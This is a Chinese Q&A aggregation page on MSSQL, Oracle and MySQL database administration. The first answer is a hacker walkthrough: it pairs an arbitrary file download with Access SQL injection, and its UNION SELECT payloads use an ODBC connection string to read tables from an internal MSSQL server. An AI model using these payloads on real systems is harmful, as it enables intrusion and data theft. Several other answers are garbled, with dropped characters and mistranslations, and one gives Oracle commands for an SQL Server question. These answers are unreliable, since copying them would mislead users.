當前位置:首頁 » 編程語言 » mssqldba
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

mssqldba

發布時間: 2022-05-03 05:36:33

① 黑客如何通過Access來獲取MSsql數據

首先說明一點,這個方法很早就有了,不過用時大概在腦袋裡沉寂太久,已經處於忘卻狀態。感謝Trace提供資料。經常會遇到任意文件下載漏洞,一般處理的方法是把資料庫連接文件下載回來,然後遠程連接上。
首先說明一點,這個方法很早就有了,不過用時大概在腦袋裡沉寂太久,已經處於忘卻狀態。感謝Trace提供資料。
經常會遇到任意文件下載漏洞,一般處理的方法是把資料庫連接文件下載回來,然後遠程連接上去。最理想的狀態莫過於MSSQL和MYSQL,尤其是在資料庫和WEB不分離的情況下,備分SHELL,導出SHELL,可以用的方法很多。
不過要是資料庫和WEB分離,而且資料庫在內網不可上網,或者有防火牆等等 其他手段使得我們無法連上遠程資料庫時,不妨假設的再艱難一些,甚至無法找到一個mssql注射點時,很多情況下通常會束手無策。
這里以 MSSQL為例子,很湊巧找到一個任意文件下載漏洞,直接下了WEB.CONFIG回來看,發現資料庫在內網,找了半天沒找到注射點,稍微旁註一下,有一個站,可惜是ACCESS資料庫。猜不到表和後台。不過目標站的後台是知道的,然後准備從這個access注射點讀出目標站管理員帳戶。直觀一些,下面直 接給出我本地測試結果:
弄的簡單一點,就3個欄位,ID,XM,XB,ID數字型,後面2個字元型。
假設存在漏洞的文件中,執行SQL語句 select * from test whrere id = 1
這里有3個欄位,我們用UNION聯合查詢給他匹配一下就是(黑盒操作時用order by 或者窮舉來確定欄位個數)
SELECT * FROM test where id=999999 union Select top 1 1,2,name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].ku
這里的master庫中我建立了一個名為KU的表,上面這個查詢語句中,由於id=999999不存在,在聯合查詢的作用下,web上原本顯示access資料庫內容的位置顯示出了我們構造的UNION查詢結果,name欄位處於一個字元型的顯示位置。
ku這個表裡的name欄位內容就會被顯示在web上相應的位置,不過這個顯然不是我們想要的,我們要的是整個表的結構和內容,以master為例子,這里是模擬的結果,事先我已經知道master的結構,待會方便和結果比對校驗是否有錯。
SELECT * FROM test where id=999999 union Select top 1 1,2,table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables
這樣master庫的第一個表名就出來了。
獲得後面的表名也很簡單。
SELECT * FROM test where id=999999 union Select top 1 1,2,table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables where table_name not in (select top 1 table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=****;DataBase=master].information_schema.tables
以次類以常規方法推取得欄位名和欄位內容,代碼煩瑣自行研究下。

② sqlserver2012怎麼查看否具有dba的許可權或者系統管理的許可權

查看自己是否具有SQL Server超級用戶許可權:
select is_srvrolemember('sysadmin')

如果返回值為 1,則有;0,沒有。

③ 資料庫MSSQL、MySQL、SQL Server和oracle的優缺點及區別

區別
Sql 有個標准, 就是 Ansi Sql . 有 sql88, sql92 標准。 如果要學正宗的 SQl 要去看 Ansi Sql .
oracle 和 Sql server 大體按照找個 Sql 標准來的,但是又有了不少擴充,自己定義了不少的東西。
主要的區別就是它們各自擴充的東西是不同的。 所以 oracle 的 sql 稱為 pl Sql ,Sql server 的 Sql 稱為 T-sql. 不過基本的語法和定義是相同的。

④ DBA(MSSQL)

還不如你來我的群,我可以考慮給你個管理員!
QQ群:70545677

⑤ 成為優秀DBA的學習之路是怎樣的

作為程序開發者,近些年一直在和資料庫打交道,從FOXBASE到ACCESS;從PARODAX到SYBASE;再到現在SQLSERVER 和ORACLE。

拿ORACLE資料庫來說,從最早接觸的ORACLE7,到廣泛應用的ORACLE8.0.5,可資料庫技術發展迅猛。到ORACLE8i就開始變了,再從ORACLE9i到現在是ORACLE10g;資料庫應用變得越來越復雜,使得ORACLE資料庫管理員DBA成長學習之路顯得更加艱辛。。。
[ORACLE資料庫技術應用---通向DBA之路]開篇-----ORACLE資料庫簡介

英文ORACLE意思是『神譽的』;中文譯名為『甲骨文』,名稱十分響亮,產品質量自是當仁不讓;

ORACLE 是以高級結構化查詢語言(SQL)為基礎的大型關系資料庫,通俗地
講它是用方便邏輯管理的語言操縱大量有規律數據的集合。是目前最流行的客
戶/伺服器(CLIENT/SERVER)體系結構的資料庫之一。

特點
1、ORACLE7.X以來引入了共享SQL和多線索伺服器體系結構。這減少了ORACLE
的資源佔用,並增強了ORACLE的能力,使之在低檔軟硬體平台上用較少的資源
就可以支持更多的用戶,而在高檔平台上可以支持成百上千個用戶。

2、提供了基於角色(ROLE)分工的安全保密管理。在資料庫管理功能、完整性
檢查、安全性、一致性方面都有良好的表現。

3、支持大量多媒體數據,如二進制圖形、聲音、動畫以及多維數據結構等。

4、提供了與第三代高級語言的介面軟體PRO*系列,能在C,C++等主語言中嵌入
SQL語句及過程化(PL/SQL)語句,對資料庫中的數據進行操縱。加上它有許多優
秀的前台開發工具如 POWER BUILD、SQL*FORMS、C++ BUILDER | DEPHI等,可以快速開
發生成基於客戶端PC 平台的應用程序,並具有良好的移植性。

5、提供了新的分布式資料庫能力。可通過網路較方便地讀寫遠端資料庫里的數
據,並有對稱復制的技術。

存儲結構--- 物理結構與邏輯結構
orACLE資料庫在物理上是存儲於硬碟的各種文件。它是活動的,可擴充的,隨著
數據的添加和應用程序的增大而變化。

ORACLE資料庫在邏輯上是由許多表空間構成。主要分為系統表空間和非系統
表空間。非系統表空間內存儲著各項應用的數據、索引、程序等相關信息。我們
准備上馬一個較大的ORACLE應用系統時,應該創建它所獨占的表空間,同時定義
物理文件的存放路徑和所佔硬碟的大小。

分布式資料庫管理

物理上存放於網路的多個ORACLE資料庫,邏輯上可以看成一個單個的大資料庫。
用戶可以通過網路對異地資料庫中的數據同時進行存取,而伺服器之間的協同處
理對於工作站用戶及應用程序而言是完全透明的:開發人員無需關心網路的連接
細節、無需關心數據在網路接點中的具體分布情況、也無需關心伺服器之間的協
調工作過程。

由網路相連的兩個ORACLE資料庫之間通過資料庫鏈接(DB-LINKS)建立訪問機制,
相當於一方以另一方的某用戶遠程登錄所做的操作。但ORACLE採用的一些高級管理
方法,如同義詞(SYNONME)等使我們覺察不到這個過程,似乎遠端的數據就在本地。
資料庫復制技術包括:實時復制、定時復制、儲存轉發復制。對復制的力度而言,
有整個資料庫表的復制,表中部分行的復制。在復制的過程中,有自動沖突檢測和
解決的手段。

⑥ oracle,mysql,mssql哪個更適合初學者

哈哈 你要是只學習SQL 編程的話,哪一個都可以,不過我建議oracle因為他較接近於普遍用法和SQL本質。 補充一句:什麼重量不重量,直接學重量級的就學不動了?學習跟重量級毫無關系。
我一開始接觸SQL然後直接搞幾十億級的teradata(誰說oracle最重量級?跟架構集群伺服器軟硬配置有關),也沒感覺有啥難學(也學我還沒學到深處不知道深淺?),然後搞oracle現在又搞mysql,當然我時間有限,只學習的開發之術,沒學維護備份之類的。對開發來講,思想最重要,跟那個資料庫無關,當然對架構和調優來講,你就得深入去研究下某個資料庫的特殊強弱點了。麻雀雖小,五臟俱全,要是有人覺得學mysql簡單,其實錯了他啥都不比其他資料庫少多少。而且為啥說mysql輕量級?我現在操作的mysql也是幾千萬級的,使用各種分區和調優 甚至加上伺服器調優技術,照樣維持業務運轉,當然要是純粹數據關聯處理分析等來比較的話,確實可能比『同硬體配置』的oracle差,但也不一定,因為還摻雜著架構和軟硬配置的問題。
話多沒用,要成某一個資料庫的DBA級別都很難,mysql這種開源的要做一個調優高手更難,要求懂得技術更多。開源是個未來趨勢,我現在也喜歡mysql。
〉〉------千源老兄說的不錯,說到具體使用深處,性能也好,兼容性,消耗資源之類的也好,需要衡量的軟硬因素很多,卻是說個幾天都說不完。我猜老兄應該是對事務性資料庫較多。我是做數據倉庫bi領域的,有機會多多探討。淘寶什麼架構沒機會了解,遺憾!一般大型互聯網都應該用開源較多,Postgresql等,在極其海量數據或者高並發下,一旦都達到性能極限,開源資料庫跟商業資料庫同配置下沒啥兩樣(個人淺見嘿嘿)。
BTW,Teradata這個mpp架構的資料庫是用來專做數據倉庫的,對於事務型支持較差,但對數據倉庫領域的海量數據多維查詢分析,無論性能和其產品業內我個人認為無與倫比,即使oracle後來出的n代mpp架構同層次都沒法比較。

⑦ 工作中會使用到mssql資料庫的哪些知識程序員會經常用到哪一些,DBA又會用到哪一些

程序員:創建/修改 資料庫、數據表、存儲過程、視圖、索引、function、觸發器等,編寫和優化 各種SQL語句,存儲過程

DBA:創建/修改 資料庫、數據表、存儲過程、視圖、索引、function、觸發器等,監控各種SQL和儲存過程性能並給出修改建議,資料庫全量/增量備份,文件組創建與維護,資料庫安全監控,伺服器集群的維護和監控,只讀和只寫伺服器之間的訂閱和推送服務維護,資料庫以及伺服器集群故障恢復,資料庫使用規范的發布、維護、監控!

⑧ sqlserver如何授予用戶DBA 許可權

首先,使用用戶DBA許可權

創建臨時表空間bbsp_temp
臨時文件'D:\ ORADATA \ a_temp.dbf「 - 創建一個臨時表空間
大小為100M
AUTOEXTEND在
中國
創建表空間bbsp_space - 創建表空間
記錄
數據文件'D:\ ORADATA \ a_space.dbf「
尺寸660' - 大小200M
AUTOEXTEND上 - 自動增長

中國創造確定BBSP用戶BBSP - 使用相應的表空間
默認表空間bbsp_space 臨時表空間bbsp_temp;
中國
授予連接,資源,DBA可以BBSP; - 金連,DBA許可權的用戶

⑨ DBA MSSQL日誌大小

收縮MSSQL資料庫:清空志DUMP TRANSACTION 庫名 WITH NO_LOG 收縮MSSQL資料庫二:截斷事務志:BACKUP LOG 資料庫名 WITH NO_LOG收縮MSSQL資料庫三:收縮資料庫文件(壓縮,資料庫文件減企業管理器--右鍵要壓縮資料庫--所任務--收縮資料庫--收縮文件--選擇志文件--收縮式選擇收縮至XXM,給允許收縮M數,直接輸入數,確定--選擇數據文件--收縮式選擇收縮至XXM,給允許收縮M數,直接輸入數,確定用SQL語句完--收縮資料庫DBCC SHRINKDATABASE(客戶資料)--收縮指定數據文件,1文件號,通語句查詢:select * from sysfilesDBCC SHRINKFILE(1)收縮MSSQL資料庫四:化縮志文件(sql 7.0,步能查詢析器進行)a.離資料庫:企業管理器--伺服器--資料庫--右鍵--離資料庫b.我電腦刪除LOG文件c.附加資料庫:企業管理器--伺服器--資料庫--右鍵--附加資料庫新LOG500K或用代碼:面示例離 pubs pubs 文件附加前伺服器a.離E X E C sp_detach_db @dbname = 'pubs'b.刪除志文件c.再附加E X E C sp_attach_single_file_db @dbname = 'pubs',@physname = 'c:\Program Files\Microsoft SQL Server\MSSQL\Data\pubs.mdf'收縮MSSQL資料庫五:能自收縮,做設置:企業管理器--伺服器--右鍵資料庫--屬性--選項--選擇"自收縮"--SQL語句設置式:E X E C sp_dboption '資料庫名', 'autoshrink', 'TRUE'6.想讓志增太企業管理器--伺服器--右鍵資料庫--屬性--事務志--文件增限制xM(x允許數據文件)--SQL語句設置式:alter database 資料庫名 modify file(name=邏輯文件名,maxsize=20)收縮MSSQL資料庫特別注意:請按步驟進行,未進行前面步驟,請要做面步驟否則能損壞資料庫.般建議做第4,6兩步第4步安全,能損壞資料庫或丟失數據第6步志達限,則資料庫處理失敗,清理志才能恢復.另外提供種更簡單本屢試爽建議家使用收縮MSSQL資料庫更簡單:1右建資料庫屬性窗口--故障原模型--設簡單2右建資料庫所任務--收縮資料庫3右建資料庫屬性窗口--故障原模型--設容量志記錄何讓收縮MSSQL資料庫簡單介紹卑錟憬舛寥患指慈砑
這些屬性對資料庫有什麼影響?

⑩ 如何判斷MSSQL資料庫磁碟出現了瓶頸

具體問題具體分析,舉例來說明為什麼磁碟IO成瓶頸資料庫的性能急速下降了。

為什麼當磁碟IO成瓶頸之後, 資料庫的性能不是達到飽和的平衡狀態,而是急劇下降。為什麼資料庫的性能有非常明顯的分界點,原因是什麼?

相信大部分做資料庫運維的朋友,都遇到這種情況。 資料庫在前一天性能表現的相當穩定,資料庫的響應時間也很正常,但就在今天,在業務人員反饋業務流量沒有任何上升的情況下,資料庫的變得不穩定了,有時候一個最簡單的insert操作, 需要幾十秒,但99%的insert卻又可以在幾毫秒完成,這又是為什麼了?

dba此時心中有無限的疑惑,到底是什麼原因呢? 磁碟IO性能變差了?還是業務運維人員反饋的流量壓根就不對? 還是資料庫內部出問題?昨天不是還好好的嗎?

當資料庫出現響應時間不穩定的時候,我們在操作系統上會看到磁碟的利用率會比較高,如果觀察仔細一點,還可以看到,存在一些讀的IO. 資料庫伺服器如果存在大量的寫IO,性能一般都是正常跟穩定的,但只要存在少量的讀IO,則性能開始出現抖動,存在大量的讀IO時(排除配備非常高速磁碟的機器),對於在線交易的資料庫系統來說,大概性能就雪崩了。為什麼操作系統上看到的磁碟讀IO跟寫IO所帶來的性能差距這么大呢?

如果親之前沒有注意到上述的現象,親對上述的結論也是懷疑。但請看下面的分解。

在寫這個文章之前,作者閱讀了大量跟的IO相關的代碼,如非同步IO線程的相關的,innodb_buffer池相關的,以及跟讀數據塊最相關的核心函數buf_page_get_gen函數以及其調用的相關子函數。為了將文章寫得通俗點,看起來不那麼累,因此不再一行一行的將代碼解析寫出來。

咱們先來提問題。buf_page_get_gen函數的作用是從Buffer bool裡面讀數據頁,可能存在以下幾種情況。

提問. 數據頁不在buffer bool 裡面該怎麼辦?

回答:去讀文件,將文件中的數據頁載入到buffer pool裡面。下面是函數buffer_read_page的函數,作用是將物理數據頁載入到buffer pool, 圖片中顯示

buffer_read_page函數棧的頂層是pread64(),調用了操作系統的讀函數。


通過解析buf_wait_for_read函數的下層函數,我們知道其實通過首先自旋加鎖pin的方式,超過設定的自旋次數之後,進入等待,等待IO完成被喚醒。這樣節省不停自旋pin時消耗的cpu,但需要付出被喚起時的開銷。

再繼續擴展問題: 如果會話線程A 經過物理IO將數據頁1001讀入buffer之後,他需要修改這個頁,而在會話線程A之後的其他的同樣需要訪問數據頁1001的會話線程,即使在數據頁1001被入讀buffer pool之後,將仍然處於等待中。因為在數據頁上讀取或者更新的時候,同樣需要上鎖,這樣才能保證數據頁並發讀取/更新的一致性。

由此可見,當一個高並發的系統,出現了熱點數據頁需要從磁碟上載入到buffer pool中時,造成的延遲,是難以想像的。因此排在等待熱點頁隊列最後的會話線程最後才得到需要的頁,響應時間也就越長,這就是造成了一個簡單的sql需要執行幾十秒的原因。

再回頭來看上面的問題,mysql資料庫出現性能下降時,可以看到操作系統有讀IO。 原因是,在資料庫對數據頁的更改,是在內存中的,然後通過檢查點線程進行非同步寫盤,這個非同步的寫操作是不堵塞執行sql的會話線程的。所以,即使看到操作系統上有大量的寫IO,資料庫的性能也是很平穩的。但當用戶線程需要查找的數據頁不在buffer pool中時,則會從磁碟上讀取,在一個熱點數據頁不是非常多的情況下,我們設置足夠大的innodb_buffer_pool的size, 基本可以緩存所有的數據頁,因此一般都不會出現缺頁的情況,也就是在操作系統上基本看不到讀的IO。 當出現讀的IO時,原因時在執行buf_read_page_low函數,從磁碟上讀取數據頁到buffer pool, 則資料庫的性能則開始下降,當出現大量的讀IO,資料庫的性能會非常差。